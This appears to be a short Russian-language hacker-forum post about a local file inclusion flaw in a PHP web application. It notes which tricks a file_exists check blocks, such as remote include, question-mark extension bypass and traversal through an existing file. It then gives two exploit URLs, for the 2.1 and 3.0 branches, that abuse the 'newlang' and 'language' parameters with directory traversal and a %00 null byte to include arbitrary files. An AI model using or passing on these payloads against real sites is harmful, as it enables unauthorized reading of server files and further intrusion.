Кажется ясно...

file_exists обламывает не только:

- удаленный инклуд
- экранирование знаком вопроса для обхода расширения

... но и выход из директории через существующий файл =(

однако, там есть код и без file_exists

тоесть, для 2.1 ветки
./index.php?newlang=asd&language=russian.php/../../robots.txt%00

для 3.0 ветки
./index.php?newlang=asd&conf[language]=russian.php/../../robots.txt%00